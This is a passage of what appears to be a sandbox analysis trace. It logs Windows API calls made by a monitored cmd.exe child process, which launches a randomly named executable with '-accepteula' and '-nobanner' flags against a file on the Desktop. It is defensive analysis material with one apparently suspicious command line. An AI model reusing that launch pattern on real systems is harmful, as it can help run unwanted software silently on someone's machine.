MemoryPointer=0x575028) returned 0x14 [0105.040] HeapFree (in: hHeap=0x560000, dwFlags=0x0, lpMem=0x575028 | out: hHeap=0x560000) returned 1 [0105.040] GetProcessHeap () returned 0x560000 [0105.040] GetProcessHeap () returned 0x560000 [0105.040] HeapValidate (hHeap=0x560000, dwFlags=0x0, lpMem=0x575068) returned 1 [0105.040] GetProcessHeap () returned 0x560000 [0105.040] RtlSizeHeap (HeapHandle=0x560000, Flags=0x0, MemoryPointer=0x575068) returned 0x14 [0105.040] HeapFree (in: hHeap=0x560000, dwFlags=0x0, lpMem=0x575068 | out: hHeap=0x560000) returned 1 [0105.040] GetProcessHeap () returned 0x560000 [0105.041] GetProcessHeap () returned 0x560000 [0105.041] HeapValidate (hHeap=0x560000, dwFlags=0x0, lpMem=0x5750a8) returned 1 [0105.041] GetProcessHeap () returned 0x560000 [0105.041] RtlSizeHeap (HeapHandle=0x560000, Flags=0x0, MemoryPointer=0x5750a8) returned 0x14 [0105.041] HeapFree (in: hHeap=0x560000, dwFlags=0x0, lpMem=0x5750a8 | out: hHeap=0x560000) returned 1 [0105.041] GetProcessHeap () returned 0x560000 [0105.041] GetProcessHeap () returned 0x560000 [0105.041] HeapValidate (hHeap=0x560000, dwFlags=0x0, lpMem=0x5750c8) returned 1 [0105.041] GetProcessHeap () returned 0x560000 [0105.041] RtlSizeHeap (HeapHandle=0x560000, Flags=0x0, MemoryPointer=0x5750c8) returned 0x14 [0105.041] HeapFree (in: hHeap=0x560000, dwFlags=0x0, lpMem=0x5750c8 | out: hHeap=0x560000) returned 1 [0105.041] GetProcessHeap () returned 0x560000 [0105.041] GetProcessHeap () returned 0x560000 [0105.041] HeapValidate (hHeap=0x560000, dwFlags=0x0, lpMem=0x575128) returned 1 [0105.041] GetProcessHeap () returned 0x560000 [0105.041] RtlSizeHeap (HeapHandle=0x560000, Flags=0x0, MemoryPointer=0x575128) returned 0x14 [0105.041] HeapFree (in: hHeap=0x560000, dwFlags=0x0, lpMem=0x575128 | out: hHeap=0x560000) returned 1 [0105.041] GetProcessHeap () returned 0x560000 [0105.041] GetProcessHeap () returned 0x560000 [0105.041] HeapValidate (hHeap=0x560000, dwFlags=0x0, lpMem=0x575148) returned 1 [0105.041] GetProcessHeap () returned 0x560000 [0105.041] RtlSizeHeap (HeapHandle=0x560000, Flags=0x0, MemoryPointer=0x575148) returned 0x14 [0105.041] HeapFree (in: hHeap=0x560000, dwFlags=0x0, lpMem=0x575148 | out: hHeap=0x560000) returned 1 [0105.041] GetProcessHeap () returned 0x560000 [0105.041] GetProcessHeap () returned 0x560000 [0105.041] HeapValidate (hHeap=0x560000, dwFlags=0x0, lpMem=0x575168) returned 1 [0105.041] GetProcessHeap () returned 0x560000 [0105.041] RtlSizeHeap (HeapHandle=0x560000, Flags=0x0, MemoryPointer=0x575168) returned 0x14 [0105.041] HeapFree (in: hHeap=0x560000, dwFlags=0x0, lpMem=0x575168 | out: hHeap=0x560000) returned 1 [0105.041] GetProcessHeap () returned 0x560000 [0105.041] GetProcessHeap () returned 0x560000 [0105.041] HeapValidate (hHeap=0x560000, dwFlags=0x0, lpMem=0x574b18) returned 1 [0105.041] GetProcessHeap () returned 0x560000 [0105.041] RtlSizeHeap (HeapHandle=0x560000, Flags=0x0, MemoryPointer=0x574b18) returned 0x10 [0105.041] HeapFree (in: hHeap=0x560000, dwFlags=0x0, lpMem=0x574b18 | out: hHeap=0x560000) returned 1 [0105.041] GetProcessHeap () returned 0x560000 [0105.042] GetProcessHeap () returned 0x560000 [0105.042] HeapValidate (hHeap=0x560000, dwFlags=0x0, lpMem=0x575048) returned 1 [0105.042] GetProcessHeap () returned 0x560000 [0105.042] RtlSizeHeap (HeapHandle=0x560000, Flags=0x0, MemoryPointer=0x575048) returned 0x14 [0105.042] HeapFree (in: hHeap=0x560000, dwFlags=0x0, lpMem=0x575048 | out: hHeap=0x560000) returned 1 [0105.042] GetProcessHeap () returned 0x560000 [0105.042] GetProcessHeap () returned 0x560000 [0105.042] HeapValidate (hHeap=0x560000, dwFlags=0x0, lpMem=0x574ad0) returned 1 [0105.042] GetProcessHeap () returned 0x560000 [0105.042] RtlSizeHeap (HeapHandle=0x560000, Flags=0x0, MemoryPointer=0x574ad0) returned 0x10 [0105.042] HeapFree (in: hHeap=0x560000, dwFlags=0x0, lpMem=0x574ad0 | out: hHeap=0x560000) returned 1 [0105.042] exit (_Code=0) Thread: id = 775 os_tid = 0xe84 Process: id = "192" image_name = "cmd.exe" filename = "c:\\windows\\syswow64\\cmd.exe" page_root = "0xda5000" os_pid = "0xe88" os_integrity_level = "0x3000" os_privileges = "0x60800000" monitor_reason = "child_process" parent_id = "176" os_parent_pid = "0xdbc" cmd_line = "C:\\Windows\\system32\\cmd.exe /c bv6ncK8c.exe -accepteula \"Dotted_Line.jtp\" -nobanner" cur_dir = "C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\" os_username = "XDUWTFONO\\5p5NrGJn0jS HALPmcxz" bitness = "32" os_groups = "XDUWTFONO\\Domain Users" [0x7], "Everyone" [0x7], "BUILTIN\\Administrators" [0xf], "BUILTIN\\Users" [0x7], "NT AUTHORITY\\INTERACTIVE" [0x7], "CONSOLE LOGON" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7], "NT AUTHORITY\\This Organization" [0x7], "NT AUTHORITY\\Logon Session 00000000:0000e6e5" [0xc0000007], "LOCAL" [0x7], "NT AUTHORITY\\NTLM Authentication" [0x7] Thread: id = 776 os_tid = 0xe8c [0104.265] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x3bfc44 | out: lpSystemTimeAsFileTime=0x3bfc44*(dwLowDateTime=0xe19b7c80, dwHighDateTime=0x1d5d06a)) [0104.265] GetCurrentProcessId () returned 0xe88 [0104.266] GetCurrentThreadId () returned 0xe8c [0104.266] GetTickCount () returned 0x1161c48 [0104.266] QueryPerformanceCounter (in: lpPerformanceCount=0x3bfc3c | out: lpPerformanceCount=0x3bfc3c*=24621780520) returned 1 [0104.266] GetModuleHandleA (lpModuleName=0x0) returned 0x4ab20000 [0104.266] __set_app_type (_Type=0x1) [0104.266] __p__fmode () returned 0x76be31f4 [0104.266] __p__commode () returned 0x76be31fc [0104.266] SetUnhandledExceptionFilter (lpTopLevelExceptionFilter=0x4ab421a6) returned 0x0 [0104.267] __getmainargs (in: _Argc=0x4ab44238, _Argv=0x4ab44240, _Env=0x4ab4423c, _DoWildCard=0, _StartInfo=0x4ab44140 | out: _Argc=0x4ab44238, _Argv=0x4ab44240, _Env=0x4ab4423c) returned 0 [0104.267] GetCurrentThreadId () returned 0xe8c [0104.267] OpenThread (dwDesiredAccess=0x1fffff, bInheritHandle=0, dwThreadId=0xe8c) returned 0x60 [0104.267] GetModuleHandleW (lpModuleName="KERNEL32.DLL") returned 0x76e10000 [0104.267] GetProcAddress (hModule=0x76e10000, lpProcName="SetThreadUILanguage") returned 0x76e3a84f [0104.267] SetThreadUILanguage (LangId=0x0) returned 0x409 [0104.267] HeapSetInformation (HeapHandle=0x0, HeapInformationClass=0x1, HeapInformation=0x0, HeapInformationLength=0x0) returned 1 [0104.267] RegOpenKeyExW (in: hKey=0x80000001, lpSubKey="Software\\Policies\\Microsoft\\Windows\\System", ulOptions=0x0, samDesired=0x20019, phkResult=0x3bfbd4 | out: phkResult=0x3bfbd4*=0x0) returned 0x2 [0104.267] VirtualQuery (in: lpAddress=0x3bfc0b, lpBuffer=0x3bfba4, dwLength=0x1c | out: lpBuffer=0x3bfba4*(BaseAddress=0x3bf000, AllocationBase=0x2c0000, AllocationProtect=0x4, RegionSize=0x1000, State=0x1000, Protect=0x4, Type=0x20000)) returned 0x1c [0104.267] VirtualQuery (in: lpAddress=0x2c0000, lpBuffer=0x3bfba4, dwLength=0x1c | out: lpBuffer=0x3bfba4*(BaseAddress=0x2c0000, AllocationBase=0x2c0000, AllocationProtect=0x4, RegionSize=0x1000, State=0x2000, Protect=0x0, Type=0x20000)) returned 0x1c [0104.267] VirtualQuery (in: lpAddress=0x2c1000, lpBuffer=0x3bfba4, dwLength=0x1c | out: lpBuffer=0x3bfba4*(BaseAddress=0x2c1000, AllocationBase=0x2c0000, AllocationProtect=0x4, RegionSize=0x2000, State=0x1000, Protect=0x104, Type=0x20000)) returned 0x1c [0104.267] VirtualQuery (in: lpAddress=0x2c3000, lpBuffer=0x3bfba4, dwLength=0x1c | out: lpBuffer=0x3bfba4*(BaseAddress=0x2c3000, AllocationBase=0x2c0000, AllocationProtect=0x4, RegionSize=0xfd000, State=0x1000, Protect=0x4, Type=0x20000)) returned 0x1c [0104.267] VirtualQuery (in: lpAddress=0x3c0000, lpBuffer=0x3bfba4, dwLength=0x1c | out: lpBuffer=0x3bfba4*(BaseAddress=0x3c0000, AllocationBase=0x0, AllocationProtect=0x0, RegionSize=0x140000, State=0x10000, Protect=0x1, Type=0x0)) returned 0x1c [0104.267] GetConsoleOutputCP () returned 0x1b5 [0104.268] GetCPInfo (in: CodePage=0x1b5, lpCPInfo=0x4ab44260 | out: lpCPInfo=0x4ab44260) returned 1 [0104.268] SetConsoleCtrlHandler (HandlerRoutine=0x4ab3e72a, Add=1) returned 1 [0104.268] _get_osfhandle (_FileHandle=1) returned 0x80 [0104.268] SetConsoleMode (hConsoleHandle=0x80, dwMode=0x0) returned 0 [0104.268] _get_osfhandle (_FileHandle=1) returned 0x80 [0104.268] GetConsoleMode (in: hConsoleHandle=0x80, lpMode=0x4ab441ac | out: lpMode=0x4ab441ac) returned 0 [0104.268] _get_osfhandle (_FileHandle=0) returned 0x3 [0104.268] GetConsoleMode (in: hConsoleHandle=0x3, lpMode=0x4ab441b0 | out: lpMode=0x4ab441b0) returned 1 [0104.268] GetEnvironmentStringsW () returned 0x6d21e0* [0104.268] GetProcessHeap () returned 0x6c0000 [0104.268] RtlAllocateHeap (HeapHandle=0x6c0000, Flags=0x8, Size=0xb86) returned 0x6d2d70 [0104.269] FreeEnvironmentStringsW (penv=0x6d21e0) returned 1 [0104.269] GetProcessHeap () returned 0x6c0000 [0104.269] RtlAllocateHeap (HeapHandle=0x6c0000, Flags=0x8, Size=0x4) returned 0x6d2060 [0104.269] GetEnvironmentStringsW () returned 0x6d21e0* [0104.269] GetProcessHeap () returned 0x6c0000 [0104.269] RtlAllocateHeap (HeapHandle=0x6c0000, Flags=0x8, Size=0xb86) returned 0x6d3900 [0104.269] FreeEnvironmentStringsW (penv=0x6d21e0) returned 1 [0104.269] RegOpenKeyExW (in: hKey=0x80000002, lpSubKey="Software\\Microsoft\\Command Processor", ulOptions=0x0, samDesired=0x2000000, phkResult=0x3beb44 | out: phkResult=0x3beb44*=0x68) returned 0x0 [0104.269] RegQueryValueExW (in: hKey=0x68, lpValueName="DisableUNCCheck", lpReserved=0x0, lpType=0x3beb4c, lpData=0x3beb50, lpcbData=0x3beb48*=0x1000 | out: lpType=0x3beb4c*=0x0, lpData=0x3beb50*=0x0, lpcbData=0x3beb48*=0x1000) returned 0x2 [0104.269] RegQueryValueExW (in: hKey=0x68, lpValueName="EnableExtensions", lpReserved=0x0, lpType=0x3beb4c, lpData=0x3beb50, lpcbData=0x3beb48*=0x1000 | out: lpType=0x3beb4c*=0x4, lpData=0x3beb50*=0x1, lpcbData=0x3beb48*=0x4) returned 0x0 [0104.269] RegQueryValueExW (in: hKey=0x68, lpValueName="DelayedExpansion", lpReserved=0x0, lpType=0x3beb4c, lpData=0x3beb50, lpcbData=0x3beb48*=0x1000 | out: lpType=0x3beb4c*=0x0, lpData=0x3beb50*=0x1, lpcbData=0x3beb48*=0x1000) returned 0x2 [0104.269] RegQueryValueExW (in: hKey=0x68, lpValueName="DefaultColor", lpReserved=0x0, lpType=0x3beb4c, lpData=0x3beb50, lpcbData=0x3beb48*=0x1000 | out: lpType=0x3beb4c*=0x4, lpData=0x3beb50*=0x0, lpcbData=0x3beb48*=0x4) returned 0x0 [0104.269] RegQueryValueExW (in: hKey=0x68, lpValueName="CompletionChar", lpReserved=0x0, lpType=0x3beb4c, lpData=0x3beb50, lpcbData=0x3beb48*=0x1000 | out: lpType=0x3beb4c*=0x4, lpData=0x3beb50*=0x40, lpcbData=0x3beb48*=0x4) returned 0x0 [0104.270] RegQueryValueExW (in: hKey=0x68, lpValueName="PathCompletionChar", lpReserved=0x0, lpType=0x3beb4c, lpData=0x3beb50, lpcbData=0x3beb48*=0x1000 | out: lpType=0x3beb4c*=0x4, lpData=0x3beb50*=0x40, lpcbData=0x3beb48*=0x4) returned 0x0 [0104.270] RegQueryValueExW (in: hKey=0x68, lpValueName="AutoRun", lpReserved=0x0, lpType=0x3beb4c, lpData=0x3beb50, lpcbData=0x3beb48*=0x1000 | out: lpType=0x3beb4c*=0x0, lpData=0x3beb50*=0x40, lpcbData=0x3beb48*=0x1000) returned 0x2 [0104.270] RegCloseKey (hKey=0x68) returned 0x0 [0104.270] RegOpenKeyExW (in: hKey=0x80000001, lpSubKey="Software\\Microsoft\\Command Processor", ulOptions=0x0, samDesired=0x2000000, phkResult=0x3beb44 | out: phkResult=0x3beb44*=0x68) returned 0x0 [0104.270] RegQueryValueExW (in: hKey=0x68, lpValueName="DisableUNCCheck", lpReserved=0x0, lpType=0x3beb4c, lpData=0x3beb50, lpcbData=0x3beb48*=0x1000 | out: lpType=0x3beb4c*=0x0, lpData=0x3beb50*=0x40, lpcbData=0x3beb48*=0x1000) returned 0x2 [0104.270] RegQueryValueExW (in: hKey=0x68, lpValueName="EnableExtensions", lpReserved=0x0, lpType=0x3beb4c, lpData=0x3beb50, lpcbData=0x3beb48*=0x1000 | out: lpType=0x3beb4c*=0x4, lpData=0x3beb50*=0x1, lpcbData=0x3beb48*=0x4) returned 0x0 [0104.270] RegQueryValueExW (in: hKey=0x68, lpValueName="DelayedExpansion", lpReserved=0x0, lpType=0x3beb4c, lpData=0x3beb50, lpcbData=0x3beb48*=0x1000 | out: lpType=0x3beb4c*=0x0, lpData=0x3beb50*=0x1, lpcbData=0x3beb48*=0x1000) returned 0x2 [0104.270] RegQueryValueExW (in: hKey=0x68, lpValueName="DefaultColor", lpReserved=0x0, lpType=0x3beb4c, lpData=0x3beb50, lpcbData=0x3beb48*=0x1000 | out: lpType=0x3beb4c*=0x4, lpData=0x3beb50*=0x0, lpcbData=0x3beb48*=0x4) returned 0x0 [0104.270] RegQueryValueExW (in: hKey=0x68, lpValueName="CompletionChar", lpReserved=0x0, lpType=0x3beb4c, lpData=0x3beb50, lpcbData=0x3beb48*=0x1000 | out: lpType=0x3beb4c*=0x4, lpData=0x3beb50*=0x9, lpcbData=0x3beb48*=0x4) returned 0x0 [0104.270] RegQueryValueExW (in: hKey=0x68, lpValueName="PathCompletionChar", lpReserved=0x0, lpType=0x3beb4c, lpData=0x3beb50, lpcbData=0x3beb48*=0x1000 | out: lpType=0x3beb4c*=0x4, lpData=0x3beb50*=0x9, lpcbData=0x3beb48*=0x4) returned 0x0 [0104.270] RegQueryValueExW (in: hKey=0x68, lpValueName="AutoRun", lpReserved=0x0, lpType=0x3beb4c, lpData=0x3beb50, lpcbData=0x3beb48*=0x1000 | out: lpType=0x3beb4c*=0x0, lpData=0x3beb50*=0x9, lpcbData=0x3beb48*=0x1000) returned 0x2 [0104.270] RegCloseKey (hKey=0x68) returned 0x0 [0104.270] time (in: timer=0x0 | out: timer=0x0) returned 0x5e2710fa [0104.270] srand (_Seed=0x5e2710fa) [0104.270] GetCommandLineW () returned="C:\\Windows\\system32\\cmd.exe /c bv6ncK8c.exe -accepteula \"Dotted_Line.jtp\" -nobanner" [0104.270] GetCommandLineW () returned="C:\\Windows\\system32\\cmd.exe /c bv6ncK8c.exe -accepteula \"Dotted_Line.jtp\" -nobanner" [0104.271] GetCurrentDirectoryW (in: nBufferLength=0x104, lpBuffer=0x4ab45260 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop") returned 0x25 [0104.271] GetProcessHeap () returned 0x6c0000 [0104.271] RtlAllocateHeap (HeapHandle=0x6c0000, Flags=0x8, Size=0x210) returned 0x6d4490 [0104.271] GetModuleFileNameW (in: hModule=0x0, lpFilename=0x6d4498, nSize=0x104 | out: lpFilename="C:\\Windows\\SysWOW64\\cmd.exe" (normalized: "c:\\windows\\syswow64\\cmd.exe")) returned 0x1b [0104.271] GetEnvironmentVariableW (in: lpName="PATH", lpBuffer=0x4ab50640, nSize=0x2000 | out: lpBuffer="C:\\Windows\\system32;C:\\Windows;C:\\Windows\\System32\\Wbem;C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\") returned 0x63 [0104.272] GetEnvironmentVariableW (in: lpName="PATHEXT", lpBuffer=0x4ab50640, nSize=0x2000 | out: lpBuffer=".COM;.EXE;.BAT;.CMD;.VBS;.VBE;.JS;.JSE;.WSF;.WSH;.MSC") returned 0x35 [0104.272] GetEnvironmentVariableW (in: lpName="PROMPT", lpBuffer=0x4ab50640, nSize=0x2000 | out: lpBuffer="$P$G") returned 0x4 [0104.272] GetEnvironmentVariableW (in: lpName="COMSPEC", lpBuffer=0x4ab50640, nSize=0x2000 | out: lpBuffer="C:\\Windows\\system32\\cmd.exe") returned 0x1b [0104.272] GetEnvironmentVariableW (in: lpName="KEYS", lpBuffer=0x4ab50640, nSize=0x2000 | out: lpBuffer="") returned 0x0 [0104.272] _wcsicmp (_String1="KEYS", _String2="CD") returned 8 [0104.272] _wcsicmp (_String1="KEYS", _String2="ERRORLEVEL") returned 6 [0104.272] _wcsicmp (_String1="KEYS", _String2="CMDEXTVERSION") returned 8 [0104.272] _wcsicmp (_String1="KEYS", _String2="CMDCMDLINE") returned 8 [0104.272] _wcsicmp (_String1="KEYS", _String2="DATE") returned 7 [0104.272] _wcsicmp (_String1="KEYS", _String2="TIME") returned -9 [0104.272] _wcsicmp (_String1="KEYS", _String2="RANDOM") returned -7 [0104.272] _wcsicmp (_String1="KEYS", _String2="HIGHESTNUMANODENUMBER") returned 3 [0104.272] GetProcessHeap () returned 0x6c0000 [0104.272] RtlAllocateHeap (HeapHandle=0x6c0000, Flags=0x8, Size=0x54) returned 0x6d46a8 [0104.272] GetCurrentDirectoryW (in: nBufferLength=0x104, lpBuffer=0x3bf910 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop") returned 0x25 [0104.272] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop", nBufferLength=0x104, lpBuffer=0x3bf910, lpFilePart=0x3bf90c | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop", lpFilePart=0x3bf90c*="Desktop") returned 0x25 [0104.272] GetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop")) returned 0x11 [0104.272] FindFirstFileW (in: lpFileName="C:\\Users", lpFindFileData=0x3bf68c | out: lpFindFileData=0x3bf68c*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0xfda01e06, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xd63c4ae0, ftLastAccessTime.dwHighDateTime=0x1d5d06a, ftLastWriteTime.dwLowDateTime=0xd63c4ae0, ftLastWriteTime.dwHighDateTime=0x1d5d06a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Users", cAlternateFileName="")) returned 0x6d2070 [0104.272] FindClose (in: hFindFile=0x6d2070 | out: hFindFile=0x6d2070) returned 1 [0104.272] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz", lpFindFileData=0x3bf68c | out: lpFindFileData=0x3bf68c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x28c670c0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0xcec4dac0, ftLastAccessTime.dwHighDateTime=0x1d5d06a, ftLastWriteTime.dwLowDateTime=0xcec4dac0, ftLastWriteTime.dwHighDateTime=0x1d5d06a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="5p5NrGJn0jS HALPmcxz", cAlternateFileName="5P5NRG~1")) returned 0x6d2070 [0104.272] FindClose (in: hFindFile=0x6d2070 | out: hFindFile=0x6d2070) returned 1 [0104.272] _wcsnicmp (_String1="5P5NRG~1", _String2="5p5NrGJn0jS HALPmcxz", _MaxCount=0x14) returned 20 [0104.273] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop", lpFindFileData=0x3bf68c | out: lpFindFileData=0x3bf68c*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x28cff640, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0xc36f2ea0, ftLastAccessTime.dwHighDateTime=0x1d5d06a, ftLastWriteTime.dwLowDateTime=0xc36f2ea0, ftLastWriteTime.dwHighDateTime=0x1d5d06a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Desktop", cAlternateFileName="")) returned 0x6d2070 [0104.273] FindClose (in: hFindFile=0x6d2070 | out: hFindFile=0x6d2070) returned 1 [0104.273] GetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop")) returned 0x11 [0104.273] SetCurrentDirectoryW (lpPathName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop")) returned 1 [0104.273] SetEnvironmentVariableW (lpName="=C:", lpValue="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop") returned 1 [0104.273] GetProcessHeap () returned 0x6c0000 [0104.273] HeapFree (in: hHeap=0x6c0000, dwFlags=0x0, lpMem=0x6d2d70 | out: hHeap=0x6c0000) returned 1 [0104.273] GetEnvironmentStringsW () returned 0x6d21e0* [0104.273] GetProcessHeap () returned 0x6c0000 [0104.273] RtlAllocateHeap (HeapHandle=0x6c0000, Flags=0x8, Size=0xb86) returned 0x6d2d70 [0104.273] FreeEnvironmentStringsW (penv=0x6d21e0) returned 1 [0104.273] GetCurrentDirectoryW (in: nBufferLength=0x104, lpBuffer=0x4ab45260 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop") returned 0x25 [0104.273] GetProcessHeap () returned 0x6c0000 [0104.273] HeapFree (in: hHeap=0x6c0000, dwFlags=0x0, lpMem=0x6d46a8 | out: hHeap=0x6c0000) returned 1 [0104.273] GetProcessHeap () returned 0x6c0000 [0104.273] RtlAllocateHeap (HeapHandle=0x6c0000, Flags=0x8, Size=0x400e) returned 0x6d4f08 [0104.274] GetProcessHeap () returned 0x6c0000 [0104.274] RtlAllocateHeap (HeapHandle=0x6c0000, Flags=0x8, Size=0x76) returned 0x6d8f38 [0104.274] GetProcessHeap () returned 0x6c0000 [0104.274] HeapFree (in: hHeap=0x6c0000, dwFlags=0x0, lpMem=0x6d4f08 | out: hHeap=0x6c0000) returned 1 [0104.274] GetConsoleOutputCP () returned 0x1b5 [0104.274] GetCPInfo (in: CodePage=0x1b5, lpCPInfo=0x4ab44260 | out: lpCPInfo=0x4ab44260) returned 1 [0104.274] GetUserDefaultLCID () returned 0x409 [0104.275] GetLocaleInfoW (in: Locale=0x409, LCType=0x1e, lpLCData=0x4ab44950, cchData=8 | out: lpLCData=":") returned 2 [0104.275] GetLocaleInfoW (in: Locale=0x409, LCType=0x23, lpLCData=0x3bfa50, cchData=128 | out: lpLCData="0") returned 2 [0104.275] GetLocaleInfoW (in: Locale=0x409, LCType=0x21, lpLCData=0x3bfa50, cchData=128 | out: lpLCData="0") returned 2 [0104.275] GetLocaleInfoW (in: Locale=0x409, LCType=0x24, lpLCData=0x3bfa50, cchData=128 | out: lpLCData="1") returned 2 [0104.275] GetLocaleInfoW (in: Locale=0x409, LCType=0x1d, lpLCData=0x4ab44940, cchData=8 | out: lpLCData="/") returned 2 [0104.275] GetLocaleInfoW (in: Locale=0x409, LCType=0x31, lpLCData=0x4ab44d80, cchData=32 | out: lpLCData="Mon") returned 4 [0104.275] GetLocaleInfoW (in: Locale=0x409, LCType=0x32, lpLCData=0x4ab44d40, cchData=32 | out: lpLCData="Tue") returned 4 [0104.275] GetLocaleInfoW (in: Locale=0x409, LCType=0x33, lpLCData=0x4ab44d00, cchData=32 | out: lpLCData="Wed") returned 4 [0104.275] GetLocaleInfoW (in: Locale=0x409, LCType=0x34, lpLCData=0x4ab44cc0, cchData=32 | out: lpLCData="Thu") returned 4 [0104.275] GetLocaleInfoW (in: Locale=0x409, LCType=0x35, lpLCData=0x4ab44c80, cchData=32 | out: lpLCData="Fri") returned 4 [0104.275] GetLocaleInfoW (in: Locale=0x409, LCType=0x36, lpLCData=0x4ab44c40, cchData=32 | out: lpLCData="Sat") returned 4 [0104.275] GetLocaleInfoW (in: Locale=0x409, LCType=0x37, lpLCData=0x4ab44c00, cchData=32 | out: lpLCData="Sun") returned 4 [0104.275] GetLocaleInfoW (in: Locale=0x409, LCType=0xe, lpLCData=0x4ab44930, cchData=8 | out: lpLCData=".") returned 2 [0104.275] GetLocaleInfoW (in: Locale=0x409, LCType=0xf, lpLCData=0x4ab44920, cchData=8 | out: lpLCData=",") returned 2 [0104.275] setlocale (category=0, locale=".OCP") returned="English_United States.437" [0104.277] GetProcessHeap () returned 0x6c0000 [0104.277] RtlAllocateHeap (HeapHandle=0x6c0000, Flags=0x0, Size=0x20c) returned 0x6d21e0 [0104.277] GetConsoleTitleW (in: lpConsoleTitle=0x6d21e0, nSize=0x104 | out: lpConsoleTitle="C:\\Windows\\system32\\cmd.exe") returned 0x1b [0104.277] GetModuleHandleW (lpModuleName="KERNEL32.DLL") returned 0x76e10000 [0104.277] GetProcAddress (hModule=0x76e10000, lpProcName="CopyFileExW") returned 0x76e43b92 [0104.277] GetProcAddress (hModule=0x76e10000, lpProcName="IsDebuggerPresent") returned 0x76e24a5d [0104.277] GetProcAddress (hModule=0x76e10000, lpProcName="SetConsoleInputExeNameW") returned 0x76e3a79d [0104.278] GetProcessHeap () returned 0x6c0000 [0104.278] RtlAllocateHeap (HeapHandle=0x6c0000, Flags=0x8, Size=0x400a) returned 0x6d4f08 [0104.278] GetProcessHeap () returned 0x6c0000 [0104.278] HeapFree (in: hHeap=0x6c0000, dwFlags=0x0, lpMem=0x6d4f08 | out: hHeap=0x6c0000) returned 1 [0104.279] _wcsicmp (_String1="bv6ncK8c.exe", _String2=")") returned 57 [0104.279] _wcsicmp (_String1="FOR", _String2="bv6ncK8c.exe") returned 4 [0104.279] _wcsicmp (_String1="FOR/?", _String2="bv6ncK8c.exe") returned 4 [0104.279] _wcsicmp (_String1="IF", _String2="bv6ncK8c.exe") returned 7 [0104.279] _wcsicmp (_String1="IF/?", _String2="bv6ncK8c.exe") returned 7 [0104.279] _wcsicmp (_String1="REM", _String2="bv6ncK8c.exe") returned 16 [0104.279] _wcsicmp (_String1="REM/?", _String2="bv6ncK8c.exe") returned 16 [0104.279] GetProcessHeap () returned 0x6c0000 [0104.279] RtlAllocateHeap (HeapHandle=0x6c0000, Flags=0x8, Size=0x58) returned 0x6d46a8 [0104.279] GetProcessHeap () returned 0x6c0000 [0104.279] RtlAllocateHeap (HeapHandle=0x6c0000, Flags=0x8, Size=0x22) returned 0x6d23f8 [0104.280] GetProcessHeap () returned 0x6c0000 [0104.280] RtlAllocateHeap (HeapHandle=0x6c0000, Flags=0x8, Size=0x5a) returned 0x6d2428 [0104.280] GetConsoleTitleW (in: lpConsoleTitle=0x3bf748, nSize=0x104 | out: lpConsoleTitle="C:\\Windows\\system32\\cmd.exe") returned 0x1b [0104.281] GetFileAttributesW (lpFileName="bv6ncK8c.exe" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\bv6nck8c.exe")) returned 0x20 [0104.281] _wcsicmp (_String1="bv6ncK8c.exe", _String2="DIR") returned -2 [0104.281] _wcsicmp (_String1="bv6ncK8c.exe", _String2="ERASE") returned -3 [0104.281] _wcsicmp (_String1="bv6ncK8c.exe", _String2="DEL") returned -2 [0104.281] _wcsicmp (_String1="bv6ncK8c.exe", _String2="TYPE") returned -18 [0104.281] _wcsicmp (_String1="bv6ncK8c.exe", _String2="COPY") returned -1 [0104.281] _wcsicmp (_String1="bv6ncK8c.exe", _String2="CD") returned -1 [0104.281] _wcsicmp (_String1="bv6ncK8c.exe", _String2="CHDIR") returned -1 [0104.281] _wcsicmp (_String1="bv6ncK8c.exe", _String2="RENAME") returned -16 [0104.281] _wcsicmp (_String1="bv6ncK8c.exe", _String2="REN") returned -16 [0104.281] _wcsicmp (_String1="bv6ncK8c.exe", _String2="ECHO") returned -3 [0104.281] _wcsicmp (_String1="bv6ncK8c.exe", _String2="SET") returned -17 [0104.281] _wcsicmp (_String1="bv6ncK8c.exe", _String2="PAUSE") returned -14 [0104.281] _wcsicmp (_String1="bv6ncK8c.exe", _String2="DATE") returned -2 [0104.281] _wcsicmp (_String1="bv6ncK8c.exe", _String2="TIME") returned -18 [0104.281] _wcsicmp (_String1="bv6ncK8c.exe", _String2="PROMPT") returned -14 [0104.281] _wcsicmp (_String1="bv6ncK8c.exe", _String2="MD") returned -11 [0104.282] _wcsicmp (_String1="bv6ncK8c.exe", _String2="MKDIR") returned -11 [0104.282] _wcsicmp (_String1="bv6ncK8c.exe", _String2="RD") returned -16 [0104.282] _wcsicmp (_String1="bv6ncK8c.exe", _String2="RMDIR") returned -16 [0104.282] _wcsicmp (_String1="bv6ncK8c.exe", _String2="PATH") 